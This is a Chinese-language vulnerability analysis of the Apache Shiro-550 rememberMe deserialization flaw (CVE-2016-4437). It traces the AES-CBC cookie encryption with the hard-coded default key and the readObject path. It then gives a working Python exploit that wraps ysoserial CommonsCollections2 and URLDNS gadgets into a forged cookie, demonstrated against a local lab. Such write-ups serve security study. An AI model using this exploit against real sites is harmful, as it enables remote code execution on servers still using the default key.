Apache Shiro-550反序列化漏洞分析
CVE-2016-4437
漏洞成因
-
通过在cookie的rememberMe字段中插入恶意payload,
-
触发shiro框架的rememberMe的反序列化功能,导致任意代码执行。
-
shiro 1.2.24中,提供了硬编码的AES密钥:kPH+bIxk5D2deZiIxcaaaA==
-
由于开发人员未修改AES密钥而直接使用Shiro框架,导致了该问题
漏洞分析
加密过程
从硬编码开始入手,在shiro/mgt/AbstractRememberMeManager.class
中找到key
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
可以看到
AbstractRememberMeManager implements RememberMeManager
向上回溯,找到RememberMeManager
中的onSuccessfulLogin
方法(登录成功的处理)
void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info);
在此处打下断点,然后debug。开启环境后登录,记得要勾选Remember Me
成功接收数据。
跟进forgetIdentity
,该方法是处理request
和reponse
请求
继续跟进forgetIdentity
进入getCookie的removeFrom()方法
这里获取配置信息,最后用addCookieHeader
放到返回包中的Cookie里。其中就有我们熟悉的,deleteMe字段和rememberMe字段,也就是我们指纹识别最简单的两种方法的原理
这一阶段过后就回到了onSuccessfulLogin
中
其中的isRemeberMe(token)
用于检查是否勾选了remember me
跟进rememberIdentity
,其中的authcInfo
是用户名信息root
继续跟进rememberIdentity
发现其中存在一个转化bytes
的方法convertPrincipalsToBytes
转化对象是subject, authcInfo
,其中包含主机名,用户名等信息
进入convertPrincipalsToBytes
。发现其序列化了传进去的用户名root
跟进encrypt
方法。
其中的CipherService cipherService = this.getCipherService()
是获取密码服务的意思。而且可以发现是AES
加密,且为AES/CBC/PKCS5Padding
再看这句。其中的getEncryptionCipherKey()
,明显是获取密钥,
ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
跟进getEncryptionCipherKey()
,这个找key
最终溯源到 getEncryptionCipherKey 就是开头中的 DEFAULT_CIPHER_KEY_BYTES,也就是我们一开始第一个提到的kPH+bIxk5D2deZiIxcaaaA==这个key
随后就传入 encrypt函数,接下来就是加密方法了
加密后数据一直向上回溯,直到 rememberIdentity这个方法下有个 rememberSerializedIdentity方法要更进,因为这个是记住序列化身份的功能
跟进rememberSerializedIdentity
,该方法的作用是将加密的数据base64编码后加到Cookie
解密过程
切入点,从获取到客户端数据开始分析,即org.apache.shiro.mgt.AbstractRememberMeManager
类的getRememberedPrincipals
方法开始。打上断点,在页面随便刷新一下即可触发此方法 。有些文章说的是随便刷新一下,但是根据测试发现直接刷新是抓不到的。必须Cookie
中的JSESSIONID删掉删掉
跟进其中的getRememberedSerializedIdentity()
方法。其中调用了一个this.getCookie().readValue(request, response)
。里面包含了要读取的Cookie
数据。
跟进readValue 方法,根据 Cookie 中的 name 字段(这个字段就是 rememberMe)获取 Cookie 的值。最终把获取cookie里面的rememberme 给到 value 返回上一级函数
回到getRememberedSerializedIdentity
中后再将得到的数据进行base64解密,得到结果后继续向上传递
再次回到AbstractRememberMeManager
后就跟进到convertBytesToPrincipals
方法
进入其中的decrypt()
方法,此方法对数据进行了解密
其中的getCipherService()
和上面加密那一样,都用于获取加密方法AES/CBC/PKCS5Padding
最后到这句话,获取老朋友AES的秘钥 getDecryptionCipherKey()后,带着秘文和AES公钥进入decrypt函数
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
跟进到CipherService
的decrypt
方法,再进入其中的decrypt
最后到JcaCipherService 中的 crypt
完成解密操作
反序列化操作
解密完成后就向上return,直到AbstractRememberMeManager#decrypt
可看到 r00 开头 序列化的数据
再次return
,看到deserialize 反序列化的方法。
跟进到DefaultSerializer
的deserialize
方法,可发现readObject()
方法完成反序列化操作。假如我们拿到了Key,并且有该站点的反序列化利用链,便可对其进行反序列化攻击。至此,漏洞原理部分结束
利用
import base64
import sys
import uuid
import subprocess
import requests
from Crypto.Cipher import AES
def encode_rememberme(command):
# 这里使用CommonsCollections2模块
popen = subprocess.Popen(['java', '-jar', 'E:\java_file\Java_chain\ysoserial-master\ysoserial-master\\target\ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
# 明文需要按一定长度对齐,叫做块大小BlockSize 这个块大小是 block_size = 16 字节
BS = AES.block_size
# 按照加密规则按一定长度对齐,如果不够要要做填充对齐
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
# 泄露的key
key = "kPH+bIxk5D2deZiIxcaaaA=="
# AES的CBC加密模式
mode = AES.MODE_CBC
# 使用uuid4基于随机数模块生成16字节的 iv向量
iv = uuid.uuid4().bytes
# 实例化一个加密方式为上述的对象
encryptor = AES.new(base64.b64decode(key), mode, iv)
# 用pad函数去处理yso的命令输出,生成的序列化数据
file_body = pad(popen.stdout.read())
# iv 与 (序列化的AES加密后的数据)拼接, 最终输出生成rememberMe参数
base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_rememberMe_value
def dnslog(command):
popen = subprocess.Popen(['java', '-jar', 'E:\java_file\Java_chain\ysoserial-master\ysoserial-master\\target\ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_rememberMe_value
if __name__ == '__main__':
# cc2的exp
payload = encode_rememberme('calc.exe')
print("rememberMe={}".format(payload.decode()))
# dnslog的poc
#print("rememberMe={}".format(payload1.decode()))
cookie = {
"rememberMe": payload.decode(),
" JSESSIONID":"43CA55C35CD6D685F2A4571B1F679742",
"Phpstorm-3d76da0a":"b4b99549-b744-429d-832f-2197b3a9d510"
}
requests.get(url="http://127.0.0.1:8081/samples_web_1_2_4_war/", cookies=cookie)
踩坑
-
导入cc4
第一次使用tomcat搭建环境,不知道cc4.0依赖要添加到tomcat中,以为maven导入就可以了。弄了好久都没弄出来,找师傅帮忙才发现问题